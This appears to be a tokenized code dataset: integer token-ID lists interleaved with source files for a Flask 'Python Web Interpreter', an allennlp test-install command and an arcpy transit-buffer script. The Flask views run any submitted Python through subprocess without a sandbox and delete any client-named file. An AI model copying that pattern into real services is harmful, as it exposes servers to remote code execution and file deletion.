7953,
29892,
2594,
1125,
13,
1678,
4974,
451,
7953,
13,
1678,
4974,
451,
2594,
13,
13,
1678,
736,
11117,
5431,
2396,
525,
1646,
10827,
13,
13,
13,
1990,
4321,
8259,
29898,
5160,
3057,
8259,
1125,
13,
13,
1678,
7465,
822,
1243,
29918,
12857,
29898,
1311,
1125,
13,
4706,
8242,
353,
7272,
1583,
29889,
3258,
29918,
12719,
580,
13,
4706,
364,
6739,
353,
7272,
390,
9026,
29889,
3258,
29898,
12719,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
7272,
364,
6739,
29889,
9573,
877,
1688,
29889,
29878,
6739,
742,
364,
6739,
29918,
9891,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
1121,
353,
7272,
364,
6739,
29889,
14701,
29889,
1688,
29889,
29878,
6739,
29898,
5431,
29922,
8516,
29892,
2594,
29922,
8516,
29897,
13,
4706,
1583,
29889,
9294,
21533,
9843,
29898,
2914,
29892,
11117,
5431,
2396,
525,
1646,
29915,
1800,
13,
13,
4706,
7272,
364,
6739,
29889,
348,
9573,
29898,
29878,
6739,
29918,
9891,
29897,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
13,
4706,
396,
23186,
2307,
5764,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
13,
1678,
7465,
822,
1243,
29918,
2704,
29898,
1311,
1125,
13,
4706,
8242,
353,
7272,
1583,
29889,
3258,
29918,
12719,
580,
13,
4706,
364,
6739,
353,
7272,
390,
9026,
29889,
3258,
29898,
12719,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
7272,
364,
6739,
29889,
9573,
877,
1688,
29889,
29878,
6739,
742,
364,
6739,
29918,
9891,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
14697,
291,
2392,
1125,
13,
9651,
7272,
364,
6739,
29889,
14701,
29889,
1688,
29889,
29878,
6739,
29898,
5431,
29922,
5574,
29892,
2594,
29922,
8516,
29897,
13,
13,
4706,
7272,
364,
6739,
29889,
348,
9573,
29898,
29878,
6739,
29918,
9891,
29897,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
13,
1678,
7465,
822,
1243,
29918,
348,
14608,
519,
29898,
1311,
1125,
13,
4706,
8242,
353,
7272,
1583,
29889,
3258,
29918,
12719,
580,
13,
4706,
364,
6739,
353,
7272,
390,
9026,
29889,
3258,
29898,
12719,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
7272,
364,
6739,
29889,
9573,
877,
1688,
29889,
29878,
6739,
742,
364,
6739,
29918,
9891,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
29928,
27657,
2392,
1125,
13,
9651,
7272,
364,
6739,
29889,
14701,
29889,
348,
14608,
519,
580,
13,
13,
4706,
7272,
364,
6739,
29889,
348,
9573,
29898,
29878,
6739,
29918,
9891,
29897,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
13,
1678,
7465,
822,
1243,
29918,
9346,
287,
29918,
449,
29898,
1311,
1125,
13,
4706,
8242,
353,
7272,
1583,
29889,
3258,
29918,
12719,
580,
13,
4706,
364,
6739,
353,
7272,
390,
9026,
29889,
3258,
29898,
12719,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
7272,
364,
6739,
29889,
9573,
877,
1688,
29889,
29878,
6739,
742,
364,
6739,
29918,
9891,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
7272,
8242,
29889,
7099,
8663,
29918,
9990,
29898,
13,
9651,
525,
1688,
29889,
9346,
287,
29918,
449,
742,
4469,
29918,
8143,
29922,
5574,
29892,
6273,
3790,
13,
18884,
525,
29916,
29899,
311,
328,
29899,
15670,
29899,
6543,
2396,
390,
9026,
29889,
19558,
29990,
29918,
5813,
29892,
13,
9651,
500,
13,
4706,
1723,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
294,
948,
3934,
29889,
10851,
2392,
1125,
13,
9651,
7272,
364,
6739,
29889,
4804,
877,
1688,
29889,
9346,
287,
29918,
449,
742,
1518,
12232,
29922,
29896,
29897,
13,
13,
4706,
7272,
364,
6739,
29889,
348,
9573,
29898,
29878,
6739,
29918,
9891,
29897,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
13,
1678,
7465,
822,
1243,
29918,
5358,
29918,
7516,
625,
29898,
1311,
1125,
13,
4706,
8242,
353,
7272,
1583,
29889,
3258,
29918,
12719,
580,
13,
4706,
364,
6739,
353,
7272,
390,
9026,
29889,
3258,
29898,
12719,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
13,
1678,
7465,
822,
1243,
29918,
2344,
29918,
7516,
625,
29898,
1311,
1125,
13,
4706,
8242,
353,
7272,
1583,
29889,
3258,
29918,
12719,
580,
13,
4706,
364,
6739,
353,
7272,
390,
9026,
29889,
3258,
29898,
12719,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
7272,
364,
6739,
29889,
24926,
580,
13,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
13,
1678,
7465,
822,
1243,
29918,
6717,
29918,
26690,
29918,
4906,
29898,
1311,
1125,
13,
4706,
8242,
353,
7272,
1583,
29889,
3258,
29918,
12719,
580,
13,
4706,
364,
6739,
353,
7272,
390,
9026,
29889,
3258,
29898,
12719,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
411,
1583,
29889,
9294,
3403,
29879,
29898,
29878,
6739,
29918,
21707,
29892,
12183,
29889,
29956,
25614,
29897,
408,
10446,
29901,
13,
9651,
7272,
8242,
29889,
4381,
29918,
6543,
29889,
23679,
29898,
13,
18884,
7777,
29898,
29890,
4907,
511,
21398,
29918,
1989,
29922,
29878,
6739,
29889,
2914,
29918,
9990,
29889,
978,
13,
9651,
1723,
13,
13,
9651,
7272,
408,
948,
3934,
29889,
17059,
29898,
29900,
29889,
29945,
29892,
2425,
29922,
1311,
29889,
7888,
29897,
13,
13,
4706,
1583,
29889,
9294,
797,
877,
14148,
2643,
29901,
13420,
10446,
29889,
4905,
29961,
29900,
2314,
13,
13,
4706,
411,
1583,
29889,
9294,
3403,
29879,
29898,
29878,
6739,
29918,
21707,
29892,
12183,
29889,
29956,
25614,
29897,
408,
10446,
29901,
13,
9651,
7272,
8242,
29889,
4381,
29918,
6543,
29889,
23679,
29898,
13,
18884,
7777,
29898,
29890,
4907,
511,
21398,
29918,
1989,
2433,
9344,
29899,
2457,
287,
29915,
13,
9651,
1723,
13,
13,
9651,
7272,
408,
948,
3934,
29889,
17059,
29898,
29900,
29889,
29945,
29892,
2425,
29922,
1311,
29889,
7888,
29897,
13,
13,
4706,
1583,
29889,
9294,
797,
877,
14148,
2643,
471,
4133,
29901,
13420,
10446,
29889,
4905,
29961,
29900,
2314,
13,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
13,
1678,
7465,
822,
1243,
29918,
5358,
29918,
3068,
3729,
292,
29898,
1311,
1125,
13,
4706,
8242,
353,
7272,
1583,
29889,
3258,
29918,
12719,
580,
13,
4706,
364,
6739,
353,
7272,
390,
9026,
29889,
3258,
29898,
12719,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
7465,
822,
12844,
11356,
7295,
13,
9651,
7272,
408,
948,
3934,
29889,
17059,
29898,
29953,
29900,
29892,
2425,
29922,
1311,
29889,
7888,
29897,
13,
13,
4706,
1158,
29918,
978,
353,
1583,
29889,
657,
29918,
8172,
29918,
978,
877,
1688,
742,
525,
29879,
280,
11356,
1495,
13,
13,
4706,
7272,
364,
6739,
29889,
9573,
29898,
5696,
29918,
978,
29892,
12844,
11356,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
9595,
353,
731,
580,
13,
13,
4706,
363,
903,
297,
3464,
29898,
29896,
29900,
1125,
13,
9651,
9595,
29889,
1202,
29898,
1311,
29889,
7888,
29889,
3258,
29918,
7662,
29898,
29878,
6739,
29889,
4804,
29898,
5696,
29918,
978,
4961,
13,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
13,
4706,
12183,
29889,
3888,
703,
15716,
292,
363,
2582,
1159,
13,
4706,
363,
3414,
297,
9595,
29901,
13,
9651,
411,
11451,
1688,
29889,
336,
4637,
29898,
294,
948,
3934,
29889,
19420,
839,
2392,
1125,
13,
18884,
7272,
3414,
13,
13,
1678,
7465,
822,
1243,
29918,
9573,
29918,
7516,
625,
29898,
1311,
1125,
13,
4706,
8242,
353,
7272,
1583,
29889,
3258,
29918,
12719,
580,
13,
4706,
364,
6739,
353,
7272,
390,
9026,
29889,
3258,
29898,
12719,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
7272,
364,
6739,
29889,
9573,
877,
1688,
29889,
29879,
280,
11356,
742,
14013,
921,
29901,
6213,
29892,
4469,
29918,
8143,
29922,
5574,
29897,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
7944,
2392,
1125,
13,
9651,
7272,
364,
6739,
29889,
9573,
29898,
13,
18884,
525,
1688,
29889,
29879,
280,
11356,
742,
14013,
921,
29901,
6213,
29892,
4469,
29918,
8143,
29922,
5574,
13,
9651,
1723,
13,
13,
4706,
7272,
364,
6739,
29889,
9573,
29898,
13,
9651,
525,
1688,
29889,
650,
742,
364,
6739,
29918,
9891,
29892,
4469,
29918,
8143,
29922,
5574,
13,
4706,
1723,
13,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
7944,
2392,
1125,
13,
9651,
7272,
364,
6739,
29889,
9573,
29898,
13,
18884,
525,
1688,
29889,
10184,
742,
364,
6739,
29918,
9891,
29892,
4469,
29918,
8143,
29922,
5574,
13,
9651,
1723,
13,
13,
4706,
7272,
364,
6739,
29889,
348,
9573,
29898,
29878,
6739,
29918,
9891,
29897,
13,
4706,
7272,
364,
6739,
29889,
348,
9573,
29898,
29878,
6739,
29918,
9891,
29897,
13,
13,
4706,
7272,
364,
6739,
29889,
5358,
580,
13,
13,
13,
1990,
4321,
8259,
21860,
504,
29898,
3057,
8259,
1125,
13,
1678,
7465,
822,
1653,
29918,
9965,
29898,
1311,
29892,
5941,
786,
29922,
5574,
1125,
13,
4706,
3132,
353,
7272,
4511,
29918,
13716,
504,
29898,
710,
29898,
5194,
29984,
29925,
29918,
4219,
511,
2425,
29922,
1311,
29889,
7888,
29897,
13,
13,
4706,
565,
5941,
786,
29901,
13,
9651,
1583,
29889,
1202,
29907,
14044,
786,
29898,
4645,
29889,
5358,
29897,
13,
13,
4706,
736,
3132,
13,
2
] |
server/app/views.py | Bryan-0/Python-Web-Interpreter | 0 | 1616639 | <filename>server/app/views.py<gh_stars>0
from app import app, datetime, request, Path, subprocess, os, uuid4
'''
@app.route('/')
def index():
return app.send_static_file('index.html')
'''
@app.route('/api/python/interprete', methods=['POST'])
def get_python_code():
code = request.json['pyCode']
fixed_Code = clean_Code(code)
print(fixed_Code)
return run_Code(fixed_Code)
@app.route('/api/python/remove', methods=['POST'])
def remove_python_file():
file_to_delete = request.json['filename']
os.remove(file_to_delete)
return {'operation': 'done'}
# Utility
def clean_Code(code) -> str:
return str(code).replace("</div>", "\n").replace("<div>", "\n").replace("<br>", "\n").replace(">", ">").replace("<", "<")
def run_Code(code) -> dict:
tempfile = str(uuid4()) + ".py"
with open(tempfile, 'w') as f:
f.write(code)
cmd = subprocess.run(["python", tempfile], capture_output=True)
output = cmd.stdout.decode()
return {'output': output, 'filename': tempfile} | [
1,
529,
9507,
29958,
2974,
29914,
932,
29914,
7406,
29889,
2272,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
3166,
623,
1053,
623,
29892,
12865,
29892,
2009,
29892,
10802,
29892,
1014,
5014,
29892,
2897,
29892,
318,
5416,
29946,
13,
13,
12008,
13,
29992,
932,
29889,
13134,
11219,
1495,
13,
1753,
2380,
7295,
13,
1678,
736,
623,
29889,
6717,
29918,
7959,
29918,
1445,
877,
2248,
29889,
1420,
1495,
13,
12008,
13,
13,
29992,
932,
29889,
13134,
11219,
2754,
29914,
4691,
29914,
1639,
1457,
371,
742,
3519,
29922,
1839,
5438,
11287,
13,
1753,
679,
29918,
4691,
29918,
401,
7295,
13,
1678,
775,
353,
2009,
29889,
3126,
1839,
2272,
3399,
2033,
13,
1678,
4343,
29918,
3399,
353,
5941,
29918,
3399,
29898,
401,
29897,
13,
1678,
1596,
29898,
20227,
29918,
3399,
29897,
13,
13,
1678,
736,
1065,
29918,
3399,
29898,
20227,
29918,
3399,
29897,
13,
13,
29992,
932,
29889,
13134,
11219,
2754,
29914,
4691,
29914,
5992,
742,
3519,
29922,
1839,
5438,
11287,
13,
1753,
3349,
29918,
4691,
29918,
1445,
7295,
13,
1678,
934,
29918,
517,
29918,
8143,
353,
2009,
29889,
3126,
1839,
9507,
2033,
13,
1678,
2897,
29889,
5992,
29898,
1445,
29918,
517,
29918,
8143,
29897,
13,
1678,
736,
11117,
16453,
2396,
525,
15091,
10827,
13,
13,
13,
29937,
22310,
537,
13,
1753,
5941,
29918,
3399,
29898,
401,
29897,
1599,
851,
29901,
13,
1678,
736,
851,
29898,
401,
467,
6506,
703,
829,
4563,
28341,
6634,
29876,
2564,
6506,
28945,
4563,
28341,
6634,
29876,
2564,
6506,
28945,
1182,
28341,
6634,
29876,
2564,
6506,
703,
29987,
4141,
29936,
613,
376,
29958,
2564,
6506,
703,
29987,
1896,
29936,
613,
9872,
1159,
13,
13,
1753,
1065,
29918,
3399,
29898,
401,
29897,
1599,
9657,
29901,
13,
1678,
5694,
1445,
353,
851,
29898,
25118,
29946,
3101,
718,
11393,
2272,
29908,
13,
268,
13,
1678,
411,
1722,
29898,
7382,
1445,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
4706,
285,
29889,
3539,
29898,
401,
29897,
13,
268,
13,
1678,
9920,
353,
1014,
5014,
29889,
3389,
29898,
3366,
4691,
613,
5694,
1445,
1402,
10446,
29918,
4905,
29922,
5574,
29897,
13,
1678,
1962,
353,
9920,
29889,
25393,
29889,
13808,
580,
13,
268,
13,
1678,
736,
11117,
4905,
2396,
1962,
29892,
525,
9507,
2396,
5694,
1445,
29913,
2
] |
allennlp/commands/test_install.py | MaxMotovilov/allennlp | 21 | 129028 | <filename>allennlp/commands/test_install.py
"""
The ``test-install`` subcommand verifies
an installation by running the unit tests.
.. code-block:: bash
$ allennlp test-install --help
usage: allennlp test-install [-h] [--run-all]
[--include-package INCLUDE_PACKAGE]
Test that installation works by running the unit tests.
optional arguments:
-h, --help show this help message and exit
--run-all By default, we skip tests that are slow or download
large files. This flag will run all tests.
--include-package INCLUDE_PACKAGE
additional packages to include
"""
import argparse
import logging
import os
import pathlib
import pytest
import allennlp
from allennlp.commands.subcommand import Subcommand
logger = logging.getLogger(__name__) # pylint: disable=invalid-name
class TestInstall(Subcommand):
def add_subparser(self, name: str, parser: argparse._SubParsersAction) -> argparse.ArgumentParser:
# pylint: disable=protected-access
description = '''Test that installation works by running the unit tests.'''
subparser = parser.add_parser(
name, description=description, help='Run the unit tests.')
subparser.add_argument('--run-all', action="store_true",
help="By default, we skip tests that are slow "
"or download large files. This flag will run all tests.")
subparser.set_defaults(func=_run_test)
return subparser
def _get_module_root():
return pathlib.Path(allennlp.__file__).parent
def _run_test(args: argparse.Namespace):
initial_working_dir = os.getcwd()
module_root = _get_module_root()
logger.info("Changing directory to %s", module_root)
os.chdir(module_root)
test_dir = os.path.join(module_root, "tests")
logger.info("Running tests at %s", test_dir)
if args.run_all:
# TODO(nfliu): remove this when notebooks have been rewritten as markdown.
pytest.main([test_dir, '-k', 'not notebooks_test'])
else:
pytest.main([test_dir, '-k', 'not sniff_test and not notebooks_test'])
# Change back to original working directory after running tests
os.chdir(initial_working_dir)
| [
1,
529,
9507,
29958,
497,
2108,
22833,
29914,
26381,
29914,
1688,
29918,
6252,
29889,
2272,
13,
15945,
29908,
13,
1576,
4954,
1688,
29899,
6252,
16159,
1014,
6519,
1147,
11057,
13,
273,
11161,
491,
2734,
278,
5190,
6987,
29889,
13,
13,
636,
775,
29899,
1271,
1057,
10891,
13,
13,
1678,
395,
599,
2108,
22833,
1243,
29899,
6252,
1192,
8477,
13,
1678,
8744,
29901,
599,
2108,
22833,
1243,
29899,
6252,
21069,
29882,
29962,
518,
489,
3389,
29899,
497,
29962,
13,
462,
462,
518,
489,
2856,
29899,
5113,
2672,
6154,
29965,
2287,
29918,
29925,
11375,
10461,
29962,
13,
13,
1678,
4321,
393,
11161,
1736,
491,
2734,
278,
5190,
6987,
29889,
13,
13,
1678,
13136,
6273,
29901,
13,
418,
448,
29882,
29892,
1192,
8477,
9651,
1510,
445,
1371,
2643,
322,
6876,
13,
418,
1192,
3389,
29899,
497,
632,
2648,
2322,
29892,
591,
14383,
6987,
393,
526,
5232,
470,
5142,
13,
462,
9651,
2919,
2066,
29889,
910,
7353,
674,
1065,
599,
6987,
29889,
13,
418,
1192,
2856,
29899,
5113,
2672,
6154,
29965,
2287,
29918,
29925,
11375,
10461,
13,
462,
9651,
5684,
9741,
304,
3160,
13,
15945,
29908,
13,
13,
5215,
1852,
5510,
13,
5215,
12183,
13,
5215,
2897,
13,
5215,
2224,
1982,
13,
13,
5215,
11451,
1688,
13,
13,
5215,
599,
2108,
22833,
13,
3166,
599,
2108,
22833,
29889,
26381,
29889,
1491,
6519,
1053,
3323,
6519,
13,
13,
21707,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
29871,
396,
282,
2904,
524,
29901,
11262,
29922,
20965,
29899,
978,
13,
13,
1990,
4321,
23271,
29898,
4035,
6519,
1125,
13,
1678,
822,
788,
29918,
1491,
16680,
29898,
1311,
29892,
1024,
29901,
851,
29892,
13812,
29901,
1852,
5510,
3032,
4035,
29925,
1503,
414,
4276,
29897,
1599,
1852,
5510,
29889,
15730,
11726,
29901,
13,
4706,
396,
282,
2904,
524,
29901,
11262,
29922,
24681,
29899,
5943,
13,
4706,
6139,
353,
14550,
3057,
393,
11161,
1736,
491,
2734,
278,
5190,
6987,
29889,
12008,
13,
4706,
1014,
16680,
353,
13812,
29889,
1202,
29918,
16680,
29898,
13,
18884,
1024,
29892,
6139,
29922,
8216,
29892,
1371,
2433,
6558,
278,
5190,
6987,
29889,
1495,
13,
13,
4706,
1014,
16680,
29889,
1202,
29918,
23516,
877,
489,
3389,
29899,
497,
742,
3158,
543,
8899,
29918,
3009,
613,
13,
462,
1669,
1371,
543,
2059,
2322,
29892,
591,
14383,
6987,
393,
526,
5232,
376,
13,
462,
1669,
376,
272,
5142,
2919,
2066,
29889,
910,
7353,
674,
1065,
599,
6987,
23157,
13,
13,
4706,
1014,
16680,
29889,
842,
29918,
4381,
29879,
29898,
9891,
29922,
29918,
3389,
29918,
1688,
29897,
13,
13,
4706,
736,
1014,
16680,
13,
13,
13,
1753,
903,
657,
29918,
5453,
29918,
4632,
7295,
13,
1678,
736,
2224,
1982,
29889,
2605,
29898,
497,
2108,
22833,
17255,
1445,
1649,
467,
3560,
13,
13,
13,
1753,
903,
3389,
29918,
1688,
29898,
5085,
29901,
1852,
5510,
29889,
23335,
1125,
13,
1678,
2847,
29918,
22899,
29918,
3972,
353,
2897,
29889,
657,
29883,
9970,
580,
13,
1678,
3883,
29918,
4632,
353,
903,
657,
29918,
5453,
29918,
4632,
580,
13,
1678,
17927,
29889,
3888,
703,
1451,
9776,
3884,
304,
1273,
29879,
613,
3883,
29918,
4632,
29897,
13,
1678,
2897,
29889,
305,
3972,
29898,
5453,
29918,
4632,
29897,
13,
1678,
1243,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
5453,
29918,
4632,
29892,
376,
21150,
1159,
13,
1678,
17927,
29889,
3888,
703,
27795,
6987,
472,
1273,
29879,
613,
1243,
29918,
3972,
29897,
13,
1678,
565,
6389,
29889,
3389,
29918,
497,
29901,
13,
4706,
396,
14402,
29898,
29876,
20157,
29884,
1125,
3349,
445,
746,
451,
19273,
29879,
505,
1063,
337,
17625,
408,
2791,
3204,
29889,
13,
4706,
11451,
1688,
29889,
3396,
4197,
1688,
29918,
3972,
29892,
17411,
29895,
742,
525,
1333,
451,
19273,
29879,
29918,
1688,
11287,
13,
1678,
1683,
29901,
13,
4706,
11451,
1688,
29889,
3396,
4197,
1688,
29918,
3972,
29892,
17411,
29895,
742,
525,
1333,
5807,
2593,
29918,
1688,
322,
451,
451,
19273,
29879,
29918,
1688,
11287,
13,
1678,
396,
10726,
1250,
304,
2441,
1985,
3884,
1156,
2734,
6987,
13,
1678,
2897,
29889,
305,
3972,
29898,
11228,
29918,
22899,
29918,
3972,
29897,
13,
2
] |
better-bus-buffers/BBB_Polygons_Step1.py | d-wasserman/public-transit-tools | 130 | 83686 | <reponame>d-wasserman/public-transit-tools<filename>better-bus-buffers/BBB_Polygons_Step1.py
####################################################
## Tool name: BetterBusBuffers
## Created by: <NAME>, Esri, <EMAIL>
## Last updated: 5 December 2017
####################################################
''' BetterBusBuffers Polygon Tool: Step 1 - Preprocess Buffers
BetterBusBuffers provides a quantitative measure of access to public transit
in your city. It creates buffers around the transit stops and weights them by
the number of trips that pass that stop during the time window you select,
accounting for areas served by more than one stop.
Output can be shown as the total number of trips or the average number of trips
per hour during the time window. You can use the symbology settings of the
resulting feature class to highlight the frequency of service in different
areas of town. Note that the tool tells you nothing about the destination of
the buses that pass by the stops, only how many of them there are.
BetterBusBuffers uses GTFS public transit data and ArcGIS Network Analyst.
Step 1 does the following:
- Creates service areas around your transit stops
- Runs some post-processing on those service areas to prepare them for further
analysis
You should only have to run Step 1 once for the geography and buffer size you
are analyzing. Step 1 will take a while to run for larger transit systems.
'''
################################################################################
'''Copyright 2017 Esri
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.'''
################################################################################
import os, sqlite3
from shutil import copyfile
import arcpy
import BBB_SharedFunctions
def runTool(outDir, outGDB, inSQLDbase, inNetworkDataset, imp, BufferSize, restrictions, TrimSettings):
try:
# ----- Set up the run -----
try:
BBB_SharedFunctions.CheckArcVersion(min_version_pro="1.2")
BBB_SharedFunctions.CheckArcInfoLicense()
BBB_SharedFunctions.CheckOutNALicense()
BBB_SharedFunctions.CheckWorkspace()
# It's okay to overwrite in-memory stuff.
OverwriteOutput = arcpy.env.overwriteOutput # Get the orignal value so we can reset it.
arcpy.env.overwriteOutput = True
# Append .gdb to geodatabase name.
if not outGDB.lower().endswith(".gdb"):
outGDB += ".gdb"
outGDBwPath = os.path.join(outDir, outGDB)
# Create a file geodatabase for the results.
arcpy.management.CreateFileGDB(outDir, outGDB)
# Make a copy of the input SQL file in the Step 1 output so we can modify it.
SQLDbase = os.path.join(outGDBwPath, "Step1_GTFS.sql")
copyfile(inSQLDbase, SQLDbase)
# Connect to or create the SQL file.
conn = sqlite3.connect(SQLDbase)
c = BBB_SharedFunctions.c = conn.cursor()
impedanceAttribute = BBB_SharedFunctions.CleanUpImpedance(imp)
TrimPolys, TrimPolysValue = BBB_SharedFunctions.CleanUpTrimSettings(TrimSettings)
except:
arcpy.AddError("Error setting up run.")
raise
#----- Make a feature class of GTFS stops that we can use for buffers -----
try:
# Create a feature class of transit stops
arcpy.AddMessage("Creating a feature class of GTFS stops...")
StopsLayer, StopIDList = BBB_SharedFunctions.MakeStopsFeatureClass(os.path.join(outGDBwPath, "Step1_Stops"))
except:
arcpy.AddError("Error creating a feature class of GTFS stops.")
raise
#----- Create Service Areas around all stops in the system -----
try:
arcpy.AddMessage("Creating service areas around stops...")
arcpy.AddMessage("(This step will take a while for large networks.)")
polygons = BBB_SharedFunctions.MakeServiceAreasAroundStops(StopsLayer,
inNetworkDataset, impedanceAttribute, BufferSize,
restrictions, TrimPolys, TrimPolysValue)
except:
arcpy.AddError("Error creating service areas around stops.")
raise
#----- Post-process the polygons to prepare for Step 2 -----
try:
arcpy.AddMessage("Reformatting polygons for further analysis...")
arcpy.AddMessage("(This step will take a while for large networks.)")
# ----- Flatten the overlapping service area polygons -----
# Use World Cylindrical Equal Area (WKID 54034) to ensure proper use of cluster tolerance in meters
arcpy.env.outputCoordinateSystem = BBB_SharedFunctions.WorldCylindrical
# Flatten the overlapping polygons. This will ultimately be our output.
# Dummy points to use in FeatureToPolygon to get rid of unnecessary fields.
dummypoints = arcpy.management.CreateFeatureclass("in_memory",
"DummyPoints", "POINT")
# The flattened polygons will be our ultimate output in the end (final
# output of step 2).
FlatPolys = os.path.join(outGDBwPath, "Step1_FlatPolys")
# FeatureToPolygon flattens overalpping polys.
# Set a large cluster tolerance to eliminate small sliver polygons and to
# keep the output file size down. Boundaries may move up to the distance
# specified in the cluster tolerance, but some amount of movement is
# acceptable, as service area polygons are inexact anyway.
# The large cluster tolerance may cause some geometry issues with the output
# later, but this is the best solution I've found so far that doesn't eat
# up too much analysis time and memory
clusTol = "5 meters"
arcpy.management.FeatureToPolygon(polygons, FlatPolys, clusTol, "", dummypoints)
arcpy.management.Delete(dummypoints)
# Add a field to the output file for number of trips and num trips / hour.
# Also create a polygon id field so we can keep track of them.
arcpy.management.AddField(FlatPolys, "PolyID", "LONG")
arcpy.management.AddField(FlatPolys, "NumTrips", "LONG")
arcpy.management.AddField(FlatPolys, "NumTripsPerHr", "DOUBLE")
arcpy.management.AddField(FlatPolys, "NumStopsInRange", "LONG")
arcpy.management.AddField(FlatPolys, "MaxWaitTime", "DOUBLE")
# ----- Create stacked points, one for each original SA polygon -----
# Create points for use in the Identity tool (one point per poly)
FlattenedPoints = os.path.join(outGDBwPath, "Step1_FlattenedPoints")
arcpy.management.FeatureToPoint(FlatPolys, FlattenedPoints, "INSIDE")
# Use Identity to stack points and keep the stop_ids from the original SAs.
# Results in a points layer with fields ORIG_FID for the IDs of the
# flattened polygons and a stop_id column with the stop ids.
# Points are stacked, and each has only one stop_id.
StackedPoints = os.path.join(outGDBwPath, "Step1_StackedPoints")
arcpy.analysis.Identity(FlattenedPoints, polygons, StackedPoints)
arcpy.management.Delete(FlattenedPoints)
# ----- Read the Stacked Points into an SQL table -----
# Create a SQL table associating the Polygon FID with the stop_ids that serve it.
c.execute("DROP TABLE IF EXISTS StackedPoints;")
schema = "Polygon_FID LONG, stop_id TEXT"
create_stmt = "CREATE TABLE StackedPoints (%s);" % schema
c.execute(create_stmt)
# Add data to the table. Track Polygon IDs with no associated stop_ids so we can delete them.
FIDsToDelete = []
AddToStackedPts = []
with arcpy.da.SearchCursor(StackedPoints, ["ORIG_FID", "stop_id"]) as StackedPtCursor:
for row in StackedPtCursor:
if not row[1]:
FIDsToDelete.append(row[0])
else:
AddToStackedPts.append((row[0], row[1],))
# Add the OD items to the SQL table
c.executemany('''INSERT INTO StackedPoints \
(Polygon_FID, stop_id) \
VALUES (?, ?);''', AddToStackedPts)
conn.commit()
arcpy.management.Delete(StackedPoints)
FIDsToDelete = set(FIDsToDelete)
# ----- Delete polygons not associated with any stop_ids -----
# These were generated by the FeatureToPolygon tool in areas completely
# surrounded by other polygons and aren't associated with any stops.
# Make feature layer containing only the polygons we want to delete.
desc2 = arcpy.Describe(FlatPolys)
OutputOIDName = desc2.OIDFieldName
# Anything with 0 area will just cause problems later.
WhereClause = '"Shape_Area" = 0'
if FIDsToDelete:
WhereClause += ' OR "' + OutputOIDName + '" IN ('
for FID in FIDsToDelete:
WhereClause += str(FID) + ", "
WhereClause = WhereClause[:-2] + ")"
arcpy.management.MakeFeatureLayer(FlatPolys, "FlatPolysLayer", WhereClause)
# Delete the polygons that don't correspond to any stop_ids.
arcpy.management.DeleteFeatures("FlatPolysLayer")
# ----- Populate the PolyID field -----
# Set PolyID equal to the OID.
expression = "!" + OutputOIDName + "!"
arcpy.management.CalculateField(FlatPolys, "PolyID", expression, "PYTHON")
except:
arcpy.AddError("Error post-processing polygons")
raise
arcpy.AddMessage("Done!")
arcpy.AddMessage("Files written to output geodatabase " + outGDBwPath + ":")
arcpy.AddMessage("- Step1_Stops")
arcpy.AddMessage("- Step1_FlatPolys")
arcpy.AddMessage("- Step1_GTFS.sql")
# Tell the tool that this is output. This will add the output to the map.
arcpy.SetParameterAsText(8, os.path.join(outGDBwPath, "Step1_Stops"))
arcpy.SetParameterAsText(9, os.path.join(outGDBwPath, "Step1_FlatPolys"))
arcpy.SetParameterAsText(10, os.path.join(outGDBwPath, "Step1_GTFS.sql"))
except BBB_SharedFunctions.CustomError:
arcpy.AddError("Failed to create BetterBusBuffers polygons.")
pass
except:
arcpy.AddError("Failed to create BetterBusBuffers polygons.")
raise
| [
1,
529,
276,
1112,
420,
29958,
29881,
29899,
29893,
465,
3504,
29914,
3597,
29899,
3286,
277,
29899,
8504,
29966,
9507,
29958,
6878,
357,
29899,
8262,
29899,
28040,
414,
29914,
14388,
29933,
29918,
7713,
4790,
787,
29918,
14448,
29896,
29889,
2272,
13,
13383,
13383,
13383,
4136,
13,
2277,
21704,
1024,
29901,
26965,
16890,
29933,
3096,
414,
13,
2277,
6760,
630,
491,
29901,
529,
5813,
10202,
3423,
374,
29892,
529,
26862,
6227,
29958,
13,
2277,
9208,
4784,
29901,
29871,
29945,
5846,
29871,
29906,
29900,
29896,
29955,
13,
13383,
